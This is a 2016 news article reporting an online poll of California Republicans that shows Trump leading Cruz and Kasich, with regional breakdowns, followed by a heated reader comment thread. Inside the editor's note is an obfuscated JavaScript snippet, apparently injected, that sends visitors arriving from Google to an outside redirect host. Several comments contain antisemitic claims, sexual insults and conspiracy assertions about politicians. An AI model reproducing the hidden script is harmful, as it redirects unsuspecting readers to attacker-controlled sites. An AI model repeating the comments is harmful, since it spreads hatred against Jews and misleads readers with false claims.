Poll: Trump leads in GOP primary

Republican presidential candidates at a March 3 debate. (Photo: Associated Press/Paui Sancya)

Editor’s Note: When Capitol Weekly’s new CA120 series was launched, we promised to explore contemporary issues of importance to our readers through data-rich content.

One of our first articles, “In political polling, art and science join hands,” raised a question var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. With access to the state voter file and Paul Mitchell’s targeting capabilities at Political Data, Inc. — plus new emailing functionality and online tools like Survey Monkey — could Capitol Weekly actually explore some original polling for our readers?

We believe we can.

The CA120 series can use online polling, driven by targeted voter data, to both inform the capitol community with strong public polling, and give our readers a peek under the hood to see how polling works, particularly in an environment where more new registrants are using an email address rather than a land-line phone.

These polls will use tools available to most campaigns.

But as we have seen in our prior article, being an expert in both the art and science of polling can make the difference between a survey finding that is accurate and one that is the equivalent of rolling the dice.

Joining us on a pro-bono basis is professional pollster Jonathan Brown, owner of Sextant Research.  Jonathan has worked with California and national polling firms and currently runs a firm providing survey research and analysis to political campaigns, private sector clients, advocacy groups and government agencies.

We are excited to undertake this new extension of the CA120 series and look forward to your response. Note, Capitol Weekly is published by Open California, a nonprofit, nonpartisan 501(c)3.

John Howard
Capitol Weekly


By Jonathan Brown
Perhaps all attention on primary night in California should be on the 33rd Congressional District – home to the Trump National Golf Club.  After all, in New York, the only Congressional District that Donald Trump didn’t win was the one in which he lives.

Trump is likely to do well in California, too.

Our California poll of 1,165 high propensity Republican voters has Trump currently atop the leader board by a comfortable margin.  In the survey, conducted April 11 through April 14, Trump receives 41% of the vote, to Ted Cruz’s 23% and John Kasich’s 21%.  A separate sample of 466 Republicans registered since the turn of the New Year has Trump ahead 53%-21%-15%, indicating that Trump’s overall lead among the expected turnout is a few points greater.

And while there isn’t a Trump residence here in the Golden State, the closest we have is in the 33rd CD on Palos Verdes Peninsula — home to a marquee Trump investment and a sublime irony if that were the only district Trump didn’t carry in California.

A comparison of California’s primary to the election we just saw in New York is justified for two reasons:  The systems in each state are similar and, as our recent poll suggests, another Trump sweep could be in the offing here.

Of course, winning the state overall isn’t the hole-in-one it is in the winner-take-all states.  California awards its delegates on a winner-take-all basis in each Congressional District – 53 concurrent holes of match play.

Even with our robust sample of more than 1,000 likely voters, it’s still not enough to look at individual districts.  And some districts have so few voters we may never see significant polling.  But, to enhance our findings we combined districts based on contiguity and common demographics as a way to interpret what might happen on a district-by-district basis.

Click here to see the complete poll and its methodology. Click here to see the cross tabs.

Statewide, Trump leads.

If the Republican Presidential primary election were held today who would you vote for?
Likely Voters


New Registrants
Donald Trump 41% 53%
Ted Cruz 23 21
John Kasich 21 15
Undecided 15 11


In each region, Trump leads.  His strongest support is in the Inland Empire (Congressional Districts 8, 31, 35, 36, 41), Los Angeles County, and Northern California (Districts 1, 2, 3, 4).  Ted Cruz’s best opportunity is in the Central Valley (Districts 9, 10, 16, 21, 22, 23) where he trails Trump only by seven points and gets his biggest vote (28%).  The Central Coast (Districts 20, 24, 26) give the best shot to Kasich, where he is only five points back.  While Cruz is in second overall, Kasich is stronger in more urban areas just as he was in New York.  The Ohio Governor is in second in the Bay Area, LA County and San Diego County.

Regions Districts Trump Cruz Kasich
Northern California 01,02,03,04 43% 22% 16%
Bay Area 05,11,12,13,14,15,17,18,19 39% 23% 25%
Central Valley 09,10,16,21,22,23 35% 28% 18%
LA County White 25,26,27,28,30,33 48% 15% 23%
LA County Non-White 29,32,34,37,38,40,43,44 38% 25% 21%
Inland Empire 08,31,35,36,41 49% 22% 16%
Orange County 39,42,45,46,47,48 42% 27% 18%
San Diego 49,50,51,52,53 39% 22% 26%
Sacramento 06,07 54% 14% 13%
Central Coast 20,24,26 33% 23% 28%


While there are a lot of holes left for these candidates to play, and sand traps and water hazards abound, The Donald may be hoisting a big trophy at Trump National on June 7.

Other notes from the poll:

  • If Kasich doesn’t make it to California, his vote splits two-to-one for Cruz, but Trump still has a 10-point lead (47%-37%). So a two-person race does not significantly reduce the hazards for those attempting to block him.
  • Just under half of Republicans (48%) say Trump should be the nominee even if he doesn’t win a majority of delegates in the primaries. Only 42% say the convention should be allowed to select someone different.
  • Nearly half (47%) believe Trump will be the nominee, while a quarter say someone other than the three current candidates will be the nominee.
  • If a Republican is going to make top two in the U.S. Senate race, it’s most likely to be Ron Unz. Unz leads Tom Del Beccarro 20%-13%.  He holds a similar lead with new registrants, as well.
  • If the two major Democrats in the Senate race face off in the general election, neither has an advantage – Kamala Harris gets 17% of Republicans and Loretta Sanchez 15%.
  • The state of mind among Republicans is as gray as the party’s elephant mascot. By a three-to-one margin, more Republicans say the party is getting weaker.

Ed’s Note: Adds dates that survey was conducted, April 11-14, 3rd graf.

  • CharliePeters

    Trump Loves GMO Corm Ethanol

    • Съ нами Богъ!

      So, you súck donkey pénis… When the Bible talks about Samson slaying 1000 Philistines with the jawbone of an áss, it wasn’t talking about the blabbering ásshole John Kerry.

      Having your head up your áss and your foot in your mouth at the same time is quite acrobatic… but, that pénis tattoo on your forehead just looks ridiculous.

    • Orwellian Dystopia

      Big deal. Trump loves the idea of total energy independence from the Middle East, including ethanol, oil fracking, clean coal, natural gas, green energy, etc.

    • Jerry Brickley

      Lose with Cruz!

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  • susanpknight

    Why do Republicans always pick the candidate who can’t win the presidency? Just once I’d like to see if a smart, dedicated conservative who can put grammatically correct sentences together can win in a general election. We keep letting the media choose the worst candidate. Frustrating.

    • शैतानी एक यहूदी पूजा है।

      Jews own the media.

    • Kevin Harper

      That’s exactly how I feel. For once, we have the kind of principled candidate in Ted Cruz that conservatives have been praying for, and along comes a bunch of low-information voters enamored by celebrity over ideas, and there you go.

      • Glorious_Cause

        Trump voters are blowing the biggest opportunity we’ve had in decades. They are handing the White House to Hillary for 8 years

        • Free. Stuff

          The more you insecure intellectuals insult the American working class the more you lose your country to bunch of so called minorities from the third world countries. You are digging your own grave by rejecting Trump as a leader to get our country back from very well organized liberal American Haters .

          • Jerry Brickley

            You are absolutely correct. The right wing regularly shoots itself in the foot with purity tests that result in a smaller and smaller and smaller tent. Cruz will end up a loser…which he is. If Trump loses, he will still be a billionaire with a beautiful wife, children and grandchildren…not to mention a great airplane.

          • yo

            Cruz would still be a senator have a beautiful wife (the only one he has ever had unlike trump) and kids

          • Bill Aggins

            So Trump wins in terms of wives. Cool.

        • Bill Aggins

          I would prefer Hillary having the white house and getting blocked by the republican house than banker-owned Cruz getting in and passing amnesty while claiming it is the will of the people to be overrun by illegal mexicans.

          • Kevin Harper


        • John Thomas

          Are you braindead? Cruz cannot win a single state that Romney lost. You Cruz’ers are the dumbest, most brainwashed dolts I’ve ever seen in my life. Cruz has voted to betray the American worker with every, single, vote. Period. He’s a fraud. Establishment hack. Bush republican. Disgusting

      • Baird Carver

        Cruz is a FAR right nut job same goes for people that are Far left…Trump is a common sense conservative just the right amount of both

        • Kevin Harper

          I don’t know why I even bother reasoning with you people, but I’m a masochist, I guess, so here goes.

          What evidence do you have that Trump will actually govern as a conservative? He’s been on both sides of every issue, sometimes several times within a few minutes. Is it just blind faith you have that he’ll do what he says?

          He and his establishment consultants have come right out and told us he’s playing you guys for fools and just doing a long con on you. Yet you still fawn over him.

          And BTW, Cruz is not “far right,” unless by “far right,” you mean a true believer in Constitutionalism and Federalism. The “far right” tag was put there by the leftists in the media. He’s a brilliant Constitutional lawyer who has won numerous Supreme Court victories. Not a trial lawyer–a Constitutional lawyer. YUUUUGE difference.

          Read more, watch less reality TV, people.

      • Left Coaster


        Republicans never learn.

        You can’t legislate morality.
        Just doesn’t work.

        • Kevin Harper

          Have you actually listen to Cruz talk about moral questions? He’s a Constitutionalist and Federalist. He is not interested in legislating morality. That is a liberal media talking point.

          • Orwellian Dystopia

            And I bet you really believe that what Cruz was freaking out about yesterday really had to do with hairy male child molesters being allowed into restrooms alone with little girls? As if we don’t already have laws against child molestation and as if that has anything to do with the law at hand. How does Cruz want to ensure that only people use the restroom that corresponds with the sex listed on their birth certificate, regardless of how they look? A massive new cadre of bathroom police requesting birth certificates or genital inspections? Or is that just a talking point and not legislation he really wants enforced? And of course abortion has nothing to do with moral questions. Sure.

          • Jerry Brickley

            I agree and would like to add something we have heard repeatedly form Cruz, Cruz groupies and paid talking heads like Mark Levin.

            The court has spoken, the laws are in place, transgender rights are the law of the land. Rules are rules and states must comply with federal court rulings. If Trump can’t complain or challenge selection of delegates in CO or WY when the electorate is denied a vote because that’s what the rules say, then you can’t complain or legislate against transgender males who need to use the bathroom because that’s what the rules say. If Cruz doesn’t like transgender bathroom rights, he should have read the rules…so tough luck.

            Anyway, it’s more likely that your little boy is going to be molested by a Catholic priest using the bathroom Ted Cruz wants him to use.

          • Jerry Brickley

            I have listened to Cruz and have enjoyed the rest when I woke up. If I wanted a preacher I would join a charismatic Christian church and watch phony preachers induce a fit of religious ecstasy and speak in tongues. His corn pone bible thumping side show act doesn’t impress me.

            He has a flawed nature which can be observed by an inability to coexist with normal human beings. I can imagine he has been unlikable since childhood and he has only gotten worse.

          • Bill Aggins




          • Eileen

            If he’s such a constitutionalist, why does he want to give up our sovereignty? That is exactly what the TPP and the TPA does and he is on record for supporting those. This is another example of Congress giving up its constitutionally mandated duty to LEGISLATE, not turn over lawmaking to some unelected bureaucrat. TPP is even worse, in that it turns over lawmaking to an unelected international body which answers to no government. A true constitutionalist would see the danger in an agreement like TPP and fight it.

      • Jerry Brickley

        You’re funny…”principled candidate”. Cruz is incapable of completing an entire sentence without shading the truth, misrepresenting a fact and/or stating an outright 100% bald faced lie.

        He is by far the least honest candidate of the original 17…and it is always a low level staffer, or unauthorized user of an account, or a Super Pac he has no control over that gets the blame when Rafael gets caught.

        He lied about Ben Carson in Iowa, twice about Rubio leaving the race (once in Hawaii and I forgot the other location). He lied twice behind closed doors about Trump early in the campaign until he was caught on a private recording…do I need to go on?

        Cruz has every opportunity to garner the same voters as Trump, but he fails. Cruz whined because there were too many candidates, but there were exactly the same no. for Trump. Cruz whines because Trump won states with 38% of the vote, last I checked Cruz would have won if he got 38%. Cruz promised to capture the Evangelical vote and they rejected him. He is mostly lies and excuses.

        Cruz is an unlikable, smarmy and considerably creepy guy who does dirty tricks and then gloats about it.

        Thank heavens, Ted will be history in 5 more days…following a pathetic 14% third place in NY, he is poised for third in PA, third in CT, third in MD, third in DE, and third in RI.

        He should just quit…make peace with his betters and try to get some crumbs for his efforts. If he stays in, he will lose IN, NJ, CA (big time) and come to the convention just in time to see Trump win on the first ballot…then he is a real loser who has gotten nothing for the effort and he can join his crooked old man on the crooked preacher tent show circuit and hustle rubes for dollar bills.

        I personally hopes he ends up on the road with his old man.

        • yo

          jerry even with Trump likely getting most the deligates in the east he still has almost no chance at being the canidate. cruz will sweep Indiana along with Nebraska, South Dakota, Montana (which are winner takes all.) and then swoop up most of the states other then that. even if he only gets those four and the other ones that the polls show he will get Donald wont have a chance.

          • Bill Aggins

            Tedophiles fail at math again. In any case even in the off chance Cruz managed to win on the second ballot I’m just going to vote for Hillary. You mess with democracy and you get the boot, this country was founded on the principle of voting and people who reject that need to be deported to China. You can have all the rules and none of the votes over there.

      • Bill Aggins

        Cruz is owned by Goldman Sachs

        Endorsed by Jeb Bush

        His wife supports a North American Union

        He is only natural born under a liberal definition that the founding fathers would have scoffed at

        And you’re an idiot

        Low information doesn’t define you, willful delusion is what defines you

      • Daniel Martinez

        Trump isn’t a celebrity. Ted is the definition of what causes all of our problems, as are the idiot voters who choose someone like that.

      • Fed Up

        Principled? I don’t think so. Cruz parses words in every speech and every interview, he manipulates other candidate’s words, he lies about the status of other candidate’s campaigns, he cannot beat Hillary. I have voted Republican my entire life, I have never so disliked a candidate as I do Ted Cruz. Trump may say some stupid things but he does not insult voters by parsing his words or manipulating things that are said by other candidate’s. If you think Ted doesn’t lie then you have bought into his careful wording of everything he says…… No he never said Carson was leaving the race but his campaign correspondence the night of the Iowa caucus certainly implied that beyond a shadow of a doubt. He didn’t lie about Trump’s support of the “largest provider of abortions” but left out the fact that Trump’s support would be conditioned upon Planned Parenthood no longer providing abortions. Ted Cruz is just as principled as any other Washington politician, maybe less.

    • Bill Whittington

      Like Reagan, Bush, Bush?

      Why do Cruz fans not realize an extreme right winger could never get the votes to win?

      Trump 2016!

    • ExPFCWintergreen

      Huh? Trump is the ONLY republican who can win. The GOP establishment doesn’t want that, of course, so they have kept the candidate numbers way high so that they could choose JEB at the convention — why? so that Jeb could lose to Hillary, and the pundits and consultants keep their gigs with Fox News, CNN, National Review, etc.

      • yo

        Jeb is out of the question. when we reach the convention it will be down to Cruz and Kasich. trump will have no chance there along with all random people that some republicans think have a chance because the delegates know that trump as the candidate is exactly what Hillary wants and anyone else would bring the downfall of the republican party.

    • SammySaySo

      Seriously? Hillary would eat Cruz for lunch! She’s had a game plan on his type for years, lol! Hillary doesn’t even know what Trump will do tomorrow let alone in the general!

      • awesomestuff

        YOU’RE RIGHT. TRUMP IS UNPREDICTABLE, WHICH MAKES HIM EXTRA SCARY. Trust me, Hillary is more afraid to go up against Trump because he is wild, free spirit and doesn’t give a shit about the negatives people say about him. Watch out Hillary. Trump2016

    • Left Coaster


      Maybe it is the GOP policies that cannot win a General Election….?

    • Jerry Brickley

      Could you explain to me why the Democrats picked an old hag who has more baggage than anyone. Hillary can’t make a speech, tell a joke, express human emotions or pass the sniff test when it comes to corruption?

      It seems easier, less expensive and less odious to select a complete unknown rather than Hillary…so why take the difficult path with the crime granny?

    • Bill Aggins

      Jeb bush is a pussy and you’re an idiot. Don’t vote.


    The banksters need a war desperately right now. They’ve tried so hard in Syria and it just hasn’t worked. Now they’ve got crazy Trump actually saying we should stay out of the Middle East and focus on our own problems, and people are listening… What’s a self-respecting globalist financier to do?

    Without the US military killing people and breaking things, there is no future growth path for them. So they send their puppets like Kasich and Romney out to talk up the fight against “evil” and threaten Russia and China, hoping to fool those dumb white ‘Murkins one more time into sending their sons off to die for God and Country and Goldman Sachs.

    The IMF Jews are in bed with the Turks and NATO, they are worried about a Trump audit of the Federal Reserve… and about Trump and Putin teaming up to destroy them once and for all…

    Trump is a vote for peace, and peace does not make money for the weapon industry. The pseudo secular media and their Zionist masters profit from destabilization.

  • Pingback: New California Poll: Trump 41, Cruz 23, Kasich 21

  • Erin Reilly

    We need Trump. NO more bought and paid for, vote pandering politicians. NO more corrupt, politics as usual. Don’t vote in the lawmakers who got us into this mess.

    • Glorious_Cause

      Trump is the one who buys politicians. He admits to it

      • Jerry Brickley

        So, what’s your point? Are you suggesting there are career politicians who are more honest than Mr. Trump, or are you just looking for an excuse to reject someone who is telling you the truth?

        • person

          obviously there is… Ted Cruz, the most honest, most capable, most driven, far most intelligent, and most conservative republican to even run for president since Regan. I don’t get how people are so immature that when baby Donald calls people names like lyin ted people just assume Ted lies more than anyone else in the room. and when trump says the system is rigged everyone all of a sudden thinks the system is rigged even though all GOP primary rules have been set for almost a year now. its just annoying how a stupid cocky immature rich guy who has gone bankrupt several times can be so popular because Americansdon’t care enough to do their research.

          • Bill Aggins




            GET A CLUE, MORON

          • John Thomas

            Cruz supporters are the dumbest, most brainwashed dolts I’ve ever seen in my life.

            Honestly, worse than Hillary supporters. Yea, how’s that possible? Because Cruz’ers are brainwashed by a religious cult.

            They are be epitome of brainwashing. Cruz $23 million Wall St, more than Hillary.

            Cruz voted 200% Muslim increase and 500% H1B cheap foreign labor increase.

            Cruz voted against Jeff Sessions on China currency manipulation in 2011 and 2015.

            Heidi Cruz co-authored the CFR’s North American Union, and US-China trade policy.

            Ted and Heidi met in the GWBush administration, and are known as the first “Bush couple”.

            Ted has betrayed the American worker with every single vote. He’s an establishment hack, and an extreme liar as well.

            Wake up folks!!!!

            Trump 2016 – only choice. Period.

          • Daniel Martinez

            You’re confused. You talk about other people needing to do research but that needs to be you before making false comments.

          • Terri Thomas

            Just like the assholes who didn’t do their research on Killary?? That POS have done so much wrong for this country, is bought and paid for, is under Federal investigation, got four Americans killed in Benghazi, Stayed with a POS cheater who was having sex in the WH, lies straight to your face, etc, etc, etc. Cruz is a lying, cheating, thieving, underhanded POS just like Killary. He is not an American citizen. So before you go blasting Trump, who by the way has more business sense then those two put together, is more honest and qualified to run this country. He is for us, the American people. He wants to make this country great again for all people. Killary and Cruz is trying to get NWO in place to rule this country. They want open borders to allow every piece of garbage into this country without being vetted. Trump is telling you in his rallies and interviews exactly what the government and Ovomit is doing to this country!! Ovomit is a muslim and has CHAIR and the Muslim Brotherhood in the WH!! Don’t be surprised when Ovomit declares Martial Law to stay in the WH and to let ISIS take over this country. I would rather have someone who is going to stop all this bullshit from happening. Trump may be rough around the edges, but he is saying exactly as we Americans are feeling. I HAVE done my research, and it is Trump who will be the greatest President who will save this country and make it great again!!

    • susanpknight

      I agree with you on the “lawmakers” who didn’t do their job. However, you might want to do some research on Trump’s team (like Monafort). They are the very people you worry about in politics. Until Trump announced for president, what has he ever said or done to suggest he’s concerned about America? He cares about his own interests as I see it. He wants the notoriety and power that accompanies the Presidency.

      • Orwellian Dystopia

        “Until Trump announced for president, what has he ever said or done to suggest he’s concerned about America?” A great deal. You should really read his books, esp. the political ones like Time to Get Tough (2011) and The America We Deserve (2000). You should look at several of his old interviews from the 1980s and early 1990s too.

      • Bill Aggins

        Cruz is owned by the bushes. You can EAD if you think any of us are dumb enough to vote for him. With Trump there’s at least a chance he isn’t a shill for globalism while with Cruz and Kasich there’s a 100% certainty that both will bark when their globalist moneylenders tell them to.

    • computed

      Constitutional scholars are the worst.

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  • Reagan

    Trump’s big lead in California isn’t garnering much media attention. Fox revealed a poll today that showed Trump with a big 27 point lead in California. Megyn Kelly had a short segement on this evening, no mention on any of the shows during the day. I think Cruz does have an advantage heading forward against Trump. Here’s an article on that advantage:

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  • Daniel

    “The state of mind among Republicans is as gray as the party’s
    elephant mascot. By a three-to-one margin, more Republicans say the
    party is getting weaker.”

    That’s a very vague statement. Just how was the question worded? Is it getting weaker in that the Democrats are beating it? Or is it that the Republican party structures are losing control over the party? Because that last one is not necessarily a negative for many of those Republicans. It means: the elite that has been cheating us is now feeling the pain.

  • markgoodall

    Hilarious! Politifact rates over THREE FOURTHS of Drumpfs statements as blatant lies. But you people………You people……… Sad.

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